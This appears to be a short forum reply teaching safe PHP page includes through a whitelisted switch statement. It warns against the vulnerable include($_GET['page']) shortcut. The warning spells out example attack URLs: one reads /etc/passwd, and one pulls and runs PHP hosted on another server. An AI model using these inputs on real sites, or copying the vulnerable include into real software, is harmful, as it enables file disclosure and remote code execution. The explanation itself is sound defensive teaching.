what people usually do with that is
<?php
include("htmlheader.html"); //generic "top" of page stuff
switch(strtolower($_GET['page'])) {
case "news": include("includes/news.php"); break;
case "about": include("includes/about.php"); break;
case "home": include("home.php"); break;
case "links": include("includes/links.php"); break;
default: include("index.php"); break;
}
include("htmlfooter.html"); //generic bottom content
?>
that way based on the index.php?page=xxxx it includes a certain page, if none is found it will use a default.
careful not to take a common shortcut like this
<?php
include($_GET['page']);
?>
while beginners like to use that, it makes for a very easy to hack page.
it enables a person to do stuff like
index.php?page=/etc/passwd
or
index.php?page=http://mysite.com/malicious_php.txt
in the first case a list of all users is shown
in the second case im able to have your site execute php code stored in a text file on my server. first the contents are included then executed by you, so i could list all the files in a directory, even use fopen and fwrite to create my own bad scripts on your server.